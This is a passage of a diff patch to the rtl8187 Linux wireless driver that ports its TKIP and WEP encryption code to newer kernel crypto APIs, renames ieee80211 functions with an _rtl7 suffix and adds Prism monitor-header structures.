(LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-01-30 17:38:11.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= 